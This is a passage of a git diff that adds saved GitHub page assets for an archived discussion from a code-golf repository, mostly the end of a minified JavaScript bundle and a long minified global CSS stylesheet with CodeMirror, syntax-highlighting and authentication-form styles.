I=y.matches("input[type=submit]")?"Submit":"",D=y.value||I;E||(E=document.createElement("input"),E.type="hidden",E.classList.add("is-submit-button-value"),p.prepend(E)),E.name=y.name,E.value=D}else E&&E.remove()}a(b,"persistSubmitButtonValue");function L(y){const p=y.querySelector("input.is-submit-button-value");return p instanceof HTMLInputElement?p:null}a(L,"findPersistedSubmitButtonValue")}},B=>{var P=a(b=>B(B.s=b),"__webpack_exec__");B.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed","vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_time-elements_dist_index_js","vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104"],()=>P(47486));var m=B.O()}]);})(); + +//# sourceMappingURL=github-elements-1649ccafecd9.js.map \ No newline at end of file diff --git a/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css new file mode 100644 index 0000000..2192c7e --- /dev/null +++ b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css @@ -0,0 +1,11 @@ +.color-border-inverse{border-color:var(--color-fg-on-emphasis) !important}.bg-gray-2,.bg-gray-3{background-color:var(--color-neutral-muted) !important}.color-text-white{color:var(--color-scale-white) !important}.border-white-fade{border-color:rgba(255,255,255,.15) !important}.lead{color:var(--color-fg-muted)}.text-emphasized{color:var(--color-fg-default)}.Label.Label--orange{color:var(--color-severe-fg);border-color:var(--color-severe-emphasis)}.Label.Label--purple{color:var(--color-done-fg);border-color:var(--color-done-emphasis)}.Label.Label--pink{color:var(--color-sponsors-fg);border-color:var(--color-sponsors-emphasis)}/*! + * GitHub Light v0.5.0 + * Copyright (c) 2012 - 2017 GitHub, Inc. + * Licensed under MIT (https://github.com/primer/github-syntax-theme-generator/blob/master/LICENSE) + */.pl-c{color:var(--color-prettylights-syntax-comment)}.pl-c1,.pl-s .pl-v{color:var(--color-prettylights-syntax-constant)}.pl-e,.pl-en{color:var(--color-prettylights-syntax-entity)}.pl-smi,.pl-s .pl-s1{color:var(--color-prettylights-syntax-storage-modifier-import)}.pl-ent{color:var(--color-prettylights-syntax-entity-tag)}.pl-k{color:var(--color-prettylights-syntax-keyword)}.pl-s,.pl-pds,.pl-s .pl-pse .pl-s1,.pl-sr,.pl-sr .pl-cce,.pl-sr .pl-sre,.pl-sr .pl-sra{color:var(--color-prettylights-syntax-string)}.pl-v,.pl-smw{color:var(--color-prettylights-syntax-variable)}.pl-bu{color:var(--color-prettylights-syntax-brackethighlighter-unmatched)}.pl-ii{color:var(--color-prettylights-syntax-invalid-illegal-text);background-color:var(--color-prettylights-syntax-invalid-illegal-bg)}.pl-c2{color:var(--color-prettylights-syntax-carriage-return-text);background-color:var(--color-prettylights-syntax-carriage-return-bg)}.pl-c2::before{content:"^M"}.pl-sr .pl-cce{font-weight:bold;color:var(--color-prettylights-syntax-string-regexp)}.pl-ml{color:var(--color-prettylights-syntax-markup-list)}.pl-mh,.pl-mh .pl-en,.pl-ms{font-weight:bold;color:var(--color-prettylights-syntax-markup-heading)}.pl-mi{font-style:italic;color:var(--color-prettylights-syntax-markup-italic)}.pl-mb{font-weight:bold;color:var(--color-prettylights-syntax-markup-bold)}.pl-md{color:var(--color-prettylights-syntax-markup-deleted-text);background-color:var(--color-prettylights-syntax-markup-deleted-bg)}.pl-mi1{color:var(--color-prettylights-syntax-markup-inserted-text);background-color:var(--color-prettylights-syntax-markup-inserted-bg)}.pl-mc{color:var(--color-prettylights-syntax-markup-changed-text);background-color:var(--color-prettylights-syntax-markup-changed-bg)}.pl-mi2{color:var(--color-prettylights-syntax-markup-ignored-text);background-color:var(--color-prettylights-syntax-markup-ignored-bg)}.pl-mdr{font-weight:bold;color:var(--color-prettylights-syntax-meta-diff-range)}.pl-ba{color:var(--color-prettylights-syntax-brackethighlighter-angle)}.pl-sg{color:var(--color-prettylights-syntax-sublimelinter-gutter-mark)}.pl-corl{text-decoration:underline;color:var(--color-prettylights-syntax-constant-other-reference-link)}.CodeMirror{font-family:monospace;height:300px;color:black;direction:ltr}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:white}.CodeMirror-gutters{border-right:1px solid #ddd;background-color:#f7f7f7;white-space:nowrap}.CodeMirror-linenumber{padding:0 3px 0 5px;min-width:20px;text-align:right;color:#999;white-space:nowrap}.CodeMirror-guttermarker{color:black}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{border-left:1px solid black;border-right:none;width:0}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;border:0 !important;background:#7e7}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor-mark{background-color:rgba(20, 255, 20, 0.5);animation:blink 1.06s steps(1) infinite}.cm-animate-fat-cursor{width:auto;border:0;animation:blink 1.06s steps(1) infinite;background-color:#7e7}@keyframes blink{50%{background-color:transparent}}.cm-tab{display:inline-block;text-decoration:inherit}.CodeMirror-rulers{position:absolute;left:0;right:0;top:-50px;bottom:0;overflow:hidden}.CodeMirror-ruler{border-left:1px solid #ccc;top:0;bottom:0;position:absolute}.cm-s-default .cm-header{color:blue}.cm-s-default .cm-quote{color:#090}.cm-negative{color:#d44}.cm-positive{color:#292}.cm-header,.cm-strong{font-weight:bold}.cm-em{font-style:italic}.cm-link{text-decoration:underline}.cm-strikethrough{text-decoration:line-through}.cm-s-default .cm-keyword{color:#708}.cm-s-default .cm-atom{color:#219}.cm-s-default .cm-number{color:#164}.cm-s-default .cm-def{color:blue}.cm-s-default .cm-variable-2{color:#05a}.cm-s-default .cm-variable-3,.cm-s-default .cm-type{color:#085}.cm-s-default .cm-comment{color:#a50}.cm-s-default .cm-string{color:#a11}.cm-s-default .cm-string-2{color:#f50}.cm-s-default .cm-meta{color:#555}.cm-s-default .cm-qualifier{color:#555}.cm-s-default .cm-builtin{color:#30a}.cm-s-default .cm-bracket{color:#997}.cm-s-default .cm-tag{color:#170}.cm-s-default .cm-attribute{color:#00c}.cm-s-default .cm-hr{color:#999}.cm-s-default .cm-link{color:#00c}.cm-s-default .cm-error{color:red}.cm-invalidchar{color:red}.CodeMirror-composing{border-bottom:2px solid}div.CodeMirror span.CodeMirror-matchingbracket{color:#0b0}div.CodeMirror span.CodeMirror-nonmatchingbracket{color:#a22}.CodeMirror-matchingtag{background:rgba(255, 150, 0, 0.3)}.CodeMirror-activeline-background{background:#e8f2ff}.CodeMirror{position:relative;overflow:hidden;background:white}.CodeMirror-scroll{overflow:scroll !important;margin-bottom:-50px;margin-right:-50px;padding-bottom:50px;height:100%;outline:none;position:relative}.CodeMirror-sizer{position:relative;border-right:50px solid transparent}.CodeMirror-vscrollbar,.CodeMirror-hscrollbar,.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{position:absolute;z-index:6;display:none;outline:none}.CodeMirror-vscrollbar{right:0;top:0;overflow-x:hidden;overflow-y:scroll}.CodeMirror-hscrollbar{bottom:0;left:0;overflow-y:hidden;overflow-x:scroll}.CodeMirror-scrollbar-filler{right:0;bottom:0}.CodeMirror-gutter-filler{left:0;bottom:0}.CodeMirror-gutters{position:absolute;left:0;top:0;min-height:100%;z-index:3}.CodeMirror-gutter{white-space:normal;height:100%;display:inline-block;vertical-align:top;margin-bottom:-50px}.CodeMirror-gutter-wrapper{position:absolute;z-index:4;background:none !important;border:none !important}.CodeMirror-gutter-background{position:absolute;top:0;bottom:0;z-index:4}.CodeMirror-gutter-elt{position:absolute;cursor:default;z-index:4}.CodeMirror-gutter-wrapper ::selection{background-color:transparent}.CodeMirror-gutter-wrapper ::-moz-selection{background-color:transparent}.CodeMirror-lines{cursor:text;min-height:1px}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{border-radius:0;border-width:0;background:transparent;font-family:inherit;font-size:inherit;margin:0;white-space:pre;word-wrap:normal;line-height:inherit;color:inherit;z-index:2;position:relative;overflow:visible;-webkit-tap-highlight-color:transparent;font-variant-ligatures:contextual}.CodeMirror-wrap pre.CodeMirror-line,.CodeMirror-wrap pre.CodeMirror-line-like{word-wrap:break-word;white-space:pre-wrap;word-break:normal}.CodeMirror-linebackground{position:absolute;left:0;right:0;top:0;bottom:0;z-index:0}.CodeMirror-linewidget{position:relative;z-index:2;padding:.1px}.CodeMirror-rtl pre{direction:rtl}.CodeMirror-code{outline:none}.CodeMirror-scroll,.CodeMirror-sizer,.CodeMirror-gutter,.CodeMirror-gutters,.CodeMirror-linenumber{box-sizing:content-box}.CodeMirror-measure{position:absolute;width:100%;height:0;overflow:hidden;visibility:hidden}.CodeMirror-cursor{position:absolute;pointer-events:none}.CodeMirror-measure pre{position:static}div.CodeMirror-cursors{visibility:hidden;position:relative;z-index:3}div.CodeMirror-dragcursors{visibility:visible}.CodeMirror-focused div.CodeMirror-cursors{visibility:visible}.CodeMirror-selected{background:#d9d9d9}.CodeMirror-focused .CodeMirror-selected{background:#d7d4f0}.CodeMirror-crosshair{cursor:crosshair}.CodeMirror-line::selection,.CodeMirror-line>span::selection,.CodeMirror-line>span>span::selection{background:#d7d4f0}.CodeMirror-line::-moz-selection,.CodeMirror-line>span::-moz-selection,.CodeMirror-line>span>span::-moz-selection{background:#d7d4f0}.cm-searching{background-color:#ffa;background-color:rgba(255, 255, 0, 0.4)}.cm-force-border{padding-right:.1px}@media print{.CodeMirror div.CodeMirror-cursors{visibility:hidden}}.cm-tab-wrap-hack:after{content:""}span.CodeMirror-selectedtext{background:none}.CodeMirror-dialog{position:absolute;left:0;right:0;background:inherit;z-index:15;padding:.1em .8em;overflow:hidden;color:inherit}.CodeMirror-dialog-top{border-bottom:1px solid #eee;top:0}.CodeMirror-dialog-bottom{border-top:1px solid #eee;bottom:0}.CodeMirror-dialog input{border:none;outline:none;background:transparent;width:20em;color:inherit;font-family:monospace}.CodeMirror-dialog button{font-size:70%}.CodeMirror-merge{position:relative;border:1px solid #ddd;white-space:pre}.CodeMirror-merge,.CodeMirror-merge .CodeMirror{height:350px}.CodeMirror-merge-2pane .CodeMirror-merge-pane{width:47%}.CodeMirror-merge-2pane .CodeMirror-merge-gap{width:6%}.CodeMirror-merge-3pane .CodeMirror-merge-pane{width:31%}.CodeMirror-merge-3pane .CodeMirror-merge-gap{width:3.5%}.CodeMirror-merge-pane{display:inline-block;white-space:normal;vertical-align:top}.CodeMirror-merge-pane-rightmost{position:absolute;right:0px;z-index:1}.CodeMirror-merge-gap{z-index:2;display:inline-block;height:100%;box-sizing:border-box;overflow:hidden;border-left:1px solid #ddd;border-right:1px solid #ddd;position:relative;background:#f8f8f8}.CodeMirror-merge-scrolllock-wrap{position:absolute;bottom:0;left:50%}.CodeMirror-merge-scrolllock{position:relative;left:-50%;cursor:pointer;color:#555;line-height:1}.CodeMirror-merge-scrolllock:after{content:"⇛  ⇚"}.CodeMirror-merge-scrolllock.CodeMirror-merge-scrolllock-enabled:after{content:"⇛⇚"}.CodeMirror-merge-copybuttons-left,.CodeMirror-merge-copybuttons-right{position:absolute;left:0;top:0;right:0;bottom:0;line-height:1}.CodeMirror-merge-copy{position:absolute;cursor:pointer;color:#44c;z-index:3}.CodeMirror-merge-copy-reverse{position:absolute;cursor:pointer;color:#44c}.CodeMirror-merge-copybuttons-left .CodeMirror-merge-copy{left:2px}.CodeMirror-merge-copybuttons-right .CodeMirror-merge-copy{right:2px}.CodeMirror-merge-r-inserted,.CodeMirror-merge-l-inserted{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12MwuCXy3+CWyH8GBgYGJgYkAABZbAQ9ELXurwAAAABJRU5ErkJggg==);background-position:bottom left;background-repeat:repeat-x}.CodeMirror-merge-r-deleted,.CodeMirror-merge-l-deleted{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12M4Kyb2/6yY2H8GBgYGJgYkAABURgPz6Ks7wQAAAABJRU5ErkJggg==);background-position:bottom left;background-repeat:repeat-x}.CodeMirror-merge-r-chunk{background:#ffffe0}.CodeMirror-merge-r-chunk-start{border-top:1px solid #ee8}.CodeMirror-merge-r-chunk-end{border-bottom:1px solid #ee8}.CodeMirror-merge-r-connect{fill:#ffffe0;stroke:#ee8;stroke-width:1px}.CodeMirror-merge-l-chunk{background:#eef}.CodeMirror-merge-l-chunk-start{border-top:1px solid #88e}.CodeMirror-merge-l-chunk-end{border-bottom:1px solid #88e}.CodeMirror-merge-l-connect{fill:#eef;stroke:#88e;stroke-width:1px}.CodeMirror-merge-l-chunk.CodeMirror-merge-r-chunk{background:#dfd}.CodeMirror-merge-l-chunk-start.CodeMirror-merge-r-chunk-start{border-top:1px solid #4e4}.CodeMirror-merge-l-chunk-end.CodeMirror-merge-r-chunk-end{border-bottom:1px solid #4e4}.CodeMirror-merge-collapsed-widget:before{content:"(...)"}.CodeMirror-merge-collapsed-widget{cursor:pointer;color:#88b;background:#eef;border:1px solid #ddf;font-size:90%;padding:0 3px;border-radius:4px}.CodeMirror-merge-collapsed-line .CodeMirror-gutter-elt{display:none}/*! + * GitHub Light v0.4.2 + * Copyright (c) 2012 - 2017 GitHub, Inc. + * Licensed under MIT (https://github.com/primer/github-syntax-theme-generator/blob/master/LICENSE) + */.cm-s-github-light.CodeMirror{background:var(--color-codemirror-bg);color:var(--color-codemirror-text)}.cm-s-github-light .CodeMirror-gutters{background:var(--color-codemirror-gutters-bg);border-right-width:0}.cm-s-github-light .CodeMirror-guttermarker{color:var(--color-codemirror-guttermarker-text)}.cm-s-github-light .CodeMirror-guttermarker-subtle{color:var(--color-codemirror-guttermarker-subtle-text)}.cm-s-github-light .CodeMirror-linenumber{color:var(--color-codemirror-linenumber-text);padding:0 16px 0 16px}.cm-s-github-light .CodeMirror-cursor{border-left:1px solid var(--color-codemirror-cursor)}.cm-s-github-light.CodeMirror-focused .CodeMirror-selected,.cm-s-github-light .CodeMirror-line::selection,.cm-s-github-light .CodeMirror-line>span::selection,.cm-s-github-light .CodeMirror-line>span>span::selection{background:var(--color-codemirror-selection-bg, #d7d4f0)}.cm-s-github-light .CodeMirror-line::-moz-selection,.cm-s-github-light .CodeMirror-line>span::-moz-selection,.cm-s-github-light .CodeMirror-line>span>span::-moz-selection{background:var(--color-codemirror-selection-bg, #d7d4f0)}.cm-s-github-light .CodeMirror-activeline-background{background:var(--color-codemirror-activeline-bg)}.cm-s-github-light .CodeMirror-matchingbracket{text-decoration:underline;color:var(--color-codemirror-matchingbracket-text) !important}.cm-s-github-light .CodeMirror-lines{font-family:"SFMono-Regular",Consolas,"Liberation Mono",Menlo,Courier,monospace;font-size:12px;background:var(--color-codemirror-lines-bg);line-height:1.5}.cm-s-github-light .cm-comment{color:var(--color-codemirror-syntax-comment)}.cm-s-github-light .cm-constant{color:var(--color-codemirror-syntax-constant)}.cm-s-github-light .cm-entity{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-entity)}.cm-s-github-light .cm-keyword{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-keyword)}.cm-s-github-light .cm-storage{color:var(--color-codemirror-syntax-storage)}.cm-s-github-light .cm-string{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-string)}.cm-s-github-light .cm-support{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-support)}.cm-s-github-light .cm-variable{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-variable)}details-dialog{position:fixed;margin:10vh auto;top:0;left:50%;transform:translateX(-50%);z-index:999;max-height:80vh;max-width:90vw;width:448px;overflow:auto}.user-select-contain{-webkit-user-select:contain;user-select:contain}.ajax-pagination-form .ajax-pagination-btn{width:100%;padding:6px;margin-top:20px;font-weight:600;color:var(--color-accent-fg);background:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.ajax-pagination-form .ajax-pagination-btn:hover,.ajax-pagination-form .ajax-pagination-btn:focus{color:var(--color-accent-fg);background-color:var(--color-canvas-subtle)}.ajax-pagination-form.loading .ajax-pagination-btn{text-indent:-3000px;background-color:var(--color-canvas-subtle);background-image:url("/images/spinners/octocat-spinner-16px-EAF2F5.gif");background-repeat:no-repeat;background-position:center center;border-color:var(--color-border-default)}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){.ajax-pagination-form.loading .ajax-pagination-btn{background-image:url("/images/spinners/octocat-spinner-32-EAF2F5.gif");background-size:16px auto}}body.intent-mouse [role=button]:focus,body.intent-mouse [role=tabpanel][tabindex="0"]:focus,body.intent-mouse button:focus,body.intent-mouse summary:focus,body.intent-mouse a:focus{outline:none;box-shadow:none}body.intent-mouse [tabindex="0"]:focus,body.intent-mouse details-dialog:focus{outline:none}.CodeMirror{height:calc(100vh - 1px)}.file-editor-upload{height:100%}.issue-template-editor{height:100%}.file-editor-textarea{width:100%;padding:5px 4px;font:12px ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;resize:vertical;border:0;border-radius:0;outline:none}.container-preview .tabnav-tabs{margin:-5px 0 -5px -9px}.container-preview .tabnav-tabs .tabnav-tab{padding:12px 16px;border-radius:0}.container-preview .tabnav-tabs>.selected:first-child{border-top-left-radius:6px}.container-preview .tabnav-tabs .selected{font-weight:600}.container-preview.template-editor .commit-create,.container-preview.template-editor .file-actions{display:block}.container-preview.template-editor .show-code,.container-preview.template-editor .commit-preview,.container-preview.template-editor .loading-preview-msg,.container-preview.template-editor .no-changes-preview-msg,.container-preview.template-editor .error-preview-msg{display:none !important}.container-preview.render-editor .commit-create,.container-preview.render-editor .file-actions{display:block}.container-preview.render-editor .template-editor,.container-preview.render-editor .show-code,.container-preview.render-editor .commit-preview,.container-preview.render-editor .loading-preview-msg,.container-preview.render-editor .no-changes-preview-msg,.container-preview.render-editor .error-preview-msg{display:none !important}.container-preview.show-code .commit-create,.container-preview.show-code .file-actions{display:block}.container-preview.show-code .template-editor,.container-preview.show-code .render-editor,.container-preview.show-code .commit-preview,.container-preview.show-code .loading-preview-msg,.container-preview.show-code .no-changes-preview-msg,.container-preview.show-code .error-preview-msg{display:none !important}.container-preview:not(.show-code) .commit-create,.container-preview:not(.show-code) .file-actions{display:none !important}.container-preview.loading-preview .loading-preview-msg{display:block}.container-preview.loading-preview .template-editor,.container-preview.loading-preview .render-editor,.container-preview.loading-preview .no-changes-preview-msg,.container-preview.loading-preview .error-preview-msg,.container-preview.loading-preview .commit-preview{display:none !important}.container-preview.show-preview .commit-preview{display:block}.container-preview.show-preview .template-editor,.container-preview.show-preview .render-editor,.container-preview.show-preview .loading-preview-msg,.container-preview.show-preview .no-changes-preview-msg,.container-preview.show-preview .error-preview-msg{display:none !important}.container-preview.no-changes-preview .no-changes-preview-msg{display:block}.container-preview.no-changes-preview .template-editor,.container-preview.no-changes-preview .render-editor,.container-preview.no-changes-preview .loading-preview-msg,.container-preview.no-changes-preview .error-preview-msg,.container-preview.no-changes-preview .commit-preview{display:none !important}.container-preview.error-preview .error-preview-msg{display:block}.container-preview.error-preview .template-editor,.container-preview.error-preview .render-editor,.container-preview.error-preview .loading-preview-msg,.container-preview.error-preview .no-changes-preview-msg,.container-preview.error-preview .commit-preview{display:none !important}.container-preview p.preview-msg{padding:30px;font-size:16px}.CodeMirror-merge-header{height:30px}.CodeMirror-merge-header .CodeMirror-merge-pane{height:30px;line-height:30px}.cm-s-github-light .merge-gutter{width:14px}.conflict-background+.CodeMirror-gutter-wrapper .CodeMirror-linenumber{background-color:var(--color-attention-subtle)}.form-group .edit-action{opacity:.6}.form-group .form-field-hover{background-color:none;border:1px solid var(--color-border-default)}.form-group:hover .edit-action{cursor:pointer;opacity:.7}.form-group:hover .form-field-hover{cursor:pointer;border:1px solid var(--color-border-default)}.placeholder-box{border:1px solid var(--color-border-default)}.template-previews{max-width:768px}.template-previews .Box .expand-group{display:none;height:0}.template-previews .Box .dismiss-preview-button{display:none}.template-previews .Box.expand-preview .expand-group{display:block;height:100%;transition:height 3s}.template-previews .Box.expand-preview .preview-button{display:none}.template-previews .Box.expand-preview .dismiss-preview-button{display:inline}.template-previews .discussion-sidebar-heading{font-size:14px;color:var(--color-neutral-emphasis)}.template-previews .discussion-sidebar-heading:hover{color:var(--color-accent-emphasis)}.edit-labels{display:none}.preview-section{display:block}.edit-section{display:none}.Box .section-focus .preview-section{display:none}.Box .section-focus .edit-section{display:block}.commit-create .CodeMirror{padding-top:8px}auto-complete,details-dialog,details-menu,file-attachment,filter-input,remote-input,tab-container,text-expander,turbo-frame,[data-catalyst]{display:block}[data-catalyst-inline]{display:inline}.Details--on .Details-content--shown{display:none !important}.Details:not(.Details--on) .Details-content--hidden{display:none !important}.Details:not(.Details--on) .Details-content--hidden-not-important{display:none}.Details-element[open]>summary .Details-content--closed{display:none !important}.Details-element:not([open])>summary .Details-content--open{display:none !important}g-emoji{display:inline-block;min-width:1ch;font-family:"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";font-size:1em;font-style:normal !important;font-weight:400;line-height:1;vertical-align:-0.075em}g-emoji img{width:1em;height:1em}.emoji-icon{display:inline-block;width:20px;height:20px;vertical-align:middle;background-repeat:no-repeat;background-size:20px 20px}.emoji-result{display:inline-block;height:20px;font-size:16px;font-weight:400;vertical-align:middle}.gollum-editor .comment-form-head.tabnav{border:1px solid var(--color-border-muted)}.gollum-editor .gollum-editor-body{height:390px;resize:vertical}.active .gollum-editor-function-buttons{display:block !important}.auth-form{width:340px;margin:0 auto}.auth-form .form-group.warn .warning,.auth-form .form-group.warn .error,.auth-form .form-group.errored .warning,.auth-form .form-group.errored .error{max-width:274px}.auth-form-header{padding:8px 16px;margin:0;color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,.3);background-color:#829aa8;border:1px solid #768995;border-radius:6px 6px 0 0}.auth-form-header h1{font-size:16px}.auth-form-header h1 a{color:#fff}.auth-form-header .octicon{position:absolute;top:10px;right:20px;color:rgba(0,0,0,.4);text-shadow:0 1px 0 rgba(255,255,255,.1)}.auth-form-message{max-height:140px;padding:16px 16px 8px;overflow-y:scroll;border:1px solid var(--color-border-default);border-radius:6px}.auth-form-message ol,.auth-form-message ul{padding-left:inherit;margin-bottom:inherit}.auth-form-body{padding:16px;font-size:14px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-muted);border-top:0;border-radius:0 0 6px 6px}.auth-form-body .input-block{margin-top:4px;margin-bottom:16px}.auth-form-body p{margin-bottom:0}.auth-form-body ol,.auth-form-body ul{padding-left:inherit;margin-bottom:inherit}.two-factor-help{position:relative;padding:8px 8px 8px 32px;margin:60px 0 auto auto;border:1px solid var(--color-border-muted);border-radius:6px}.two-factor-help h4{margin-top:0;margin-bottom:4px}.two-factor-help .octicon-device-mobile,.two-factor-help .octicon-key,.two-factor-help .octicon-shield-lock,.two-factor-help .octicon-circle-slash{position:absolute;top:10px;left:10px}.sms-send-code-spinner{position:relative;bottom:2px;display:none;vertical-align:bottom}.loading .sms-send-code-spinner{display:inline}.auth-form-body .webauthn-form-body{padding:0}.webauthn-form-body{padding:32px 32px 16px;text-align:center}.webauthn-form-body button{margin-top:16px}.flash.sms-error,.flash.sms-success{display:none;margin:0 0 8px}.is-sent .sms-success{display:block}.is-sent .sms-error{display:none}.is-not-sent .sms-success{display:none}.is-not-sent .sms-error{display:block}.session-authentication{background-color:var(--color-canvas-default)}.session-authentication .header-logged-out{background-color:transparent;border-bottom:0}.session-authentication .header-logo{color:var(--color-fg-default)}.session-authentication .flash{padding:16px 16px;margin:0 auto;margin-bottom:8px;font-size:14px;border-style:solid;border-width:1px;border-radius:6px}.session-authentication .flash .container{width:auto}.session-authentication .flash .flash-close{height:40px}.session-authentication .flash.flash-banner{width:100%;border-top:0;border-right:0;border-left:0;border-radius:0}.session-authentication .auth-form label{display:block;margin-bottom:8px;font-weight:400;text-align:left}.session-authentication .auth-form .btn{margin-top:16px}.session-authentication .auth-form .webauthn-message{margin-bottom:0}.session-authentication .label-link{float:right;font-size:12px}.session-authentication .auth-form-header{margin-bottom:16px;color:var(--color-fg-default);text-align:center;text-shadow:none;background-color:transparent;border:0}.session-authentication .auth-form-header h1{font-size:24px;font-weight:300;letter-spacing:-0.5px}.session-authentication .auth-form-body{border-top:1px solid var(--color-border-muted);border-radius:6px}.session-authentication .auth-form-body.webauthn-form-body{padding:16px}.session-authentication .login-callout{padding:16px 16px;text-align:center;border:1px solid var(--color-border-default);border-radius:6px}.session-authentication .two-factor-help{padding:0 0 0 16px;margin-top:16px;border:0}.session-authentication .two-factor-help .octicon-device-mobile,.session-authentication .two-factor-help .octicon-key,.session-authentication .two-factor-help .octicon-shield-lock,.session-authentication .two-factor-help .octicon-circle-slash{top:4px;left:0}.session-authentication.enterprise .header-logged-out{padding:48px 0 24px;background-color:transparent}.session-authentication.hosted .header-logged-out{padding:40px 0 16px;background-color:transparent}.Header-old{z-index:32;padding-top:12px;padding-bottom:12px;color:#fff;background-color:var(--color-header-bg)}.server-stats+.Header-old{box-shadow:inset 0 1px 0 rgba(255,255,255,.075)}.Header-old .dropdown-menu{width:300px}.Header-old .notification-indicator:hover::after{content:none}@media(min-width: 1012px){.Header-old .notification-indicator:hover::after{content:attr(aria-label)}}.HeaderMenu{display:none;clear:both}@media(min-width: 1012px){.HeaderMenu{display:block;clear:none}}.open .HeaderMenu{display:block}.HeaderMenu-summary::marker,.HeaderMenu-summary::-webkit-details-marker{display:none}@keyframes dropdown-display{0%{opacity:0;transform:scale(0.98) translateY(-0.6em)}100%{opacity:1;transform:scale(1) translateY(0)}}.HeaderMenu--logged-out{z-index:100;width:300px;overflow:auto;background-color:var(--color-canvas-default);box-shadow:0 10px 50px rgba(27,31,35,.15)}@media(min-width: 1012px){.HeaderMenu--logged-out{width:auto;overflow:visible;background-color:transparent;box-shadow:none}}.HeaderMenu--logged-out .jump-to-suggestions{top:100%}.HeaderMenu--logged-out .HeaderMenu-details[open]>summary::before{position:absolute;bottom:-8px;display:block}.HeaderMenu--logged-out .header-search-key-slash{margin-right:8px !important}.HeaderMenu--logged-out .dropdown-menu{position:static;width:auto;border:0 solid transparent;box-shadow:none}.HeaderMenu--logged-out .dropdown-menu::before,.HeaderMenu--logged-out .dropdown-menu::after{display:none}@media(min-width: 1012px){.HeaderMenu--logged-out .dropdown-menu{position:absolute;width:300px;border:0;box-shadow:0 3px 12px rgba(27,31,35,.15),0 0 1px rgba(27,31,35,.2)}.HeaderMenu--logged-out .dropdown-menu::before,.HeaderMenu--logged-out .dropdown-menu::after{content:""}}.HeaderMenu--logged-out .dropdown-menu-s{transform:none}@media(min-width: 1012px){.HeaderMenu--logged-out .dropdown-menu-s{transform:translateX(50%)}}.HeaderMenu--logged-out .header-search{width:auto;border-top:0}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search{width:240px}}.HeaderMenu--logged-out .header-search-wrapper{border-color:var(--color-border-muted)}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search-wrapper{border-color:var(--color-header-search-border)}}@media(max-width: 1012px){.HeaderMenu--logged-out .header-search-wrapper{background-color:var(--color-canvas-default)}}.HeaderMenu--logged-out .header-search-input{padding-top:8px;padding-bottom:8px;font-size:14px;-webkit-appearance:none;color:var(--color-fg-default)}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search-input{color:inherit}}.HeaderMenu--logged-out .header-search-input::placeholder{color:var(--color-fg-muted) !important}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search-input::placeholder{color:rgba(255,255,255,.75) !important}}.HeaderMenu-link{color:var(--color-fg-default);white-space:nowrap;background:transparent;transition:opacity .4s}.HeaderMenu-link:hover{color:var(--color-fg-default);opacity:.75}@media(min-width: 1012px){.HeaderMenu-link{color:#fff;transition:opacity .4s}.HeaderMenu-link:hover{color:#fff;opacity:.75}}.HeaderMenu-link .icon-chevon-down-mktg{top:24px;right:0;width:14px;stroke:var(--color-fg-default);transition:stroke .4s}@media(min-width: 1012px){.HeaderMenu-link .icon-chevon-down-mktg{top:-2px;width:12px;stroke:rgba(255,255,255,.5);background:transparent}}.HeaderMenu-details[open]>summary::before{display:none}@media(min-width: 1012px){.HeaderMenu-details[open]>summary::before{position:absolute;bottom:-8px;display:block}}.HeaderMenu-details[open] .HeaderMenu-link{color:var(--color-fg-default)}@media(min-width: 1012px){.HeaderMenu-details[open] .HeaderMenu-link{color:rgba(255,255,255,.75)}}.HeaderMenu-details[open] .dropdown-menu{animation:none}@media(min-width: 1012px){.HeaderMenu-details[open] .dropdown-menu{animation:dropdown-display .4s cubic-bezier(0.73, 0.005, 0.22, 1)}}.HeaderMenu-details[open] .icon-chevon-down-mktg{stroke:var(--color-fg-default)}@media(min-width: 1012px){.HeaderMenu-details[open] .icon-chevon-down-mktg{stroke:#fff}}.header-logo-invertocat{margin:-1px 16px -1px -2px;color:#fff;white-space:nowrap}.header-logo-invertocat .octicon-mark-github{float:left}.header-logo-invertocat:hover{color:#fff;text-decoration:none}.notification-indicator 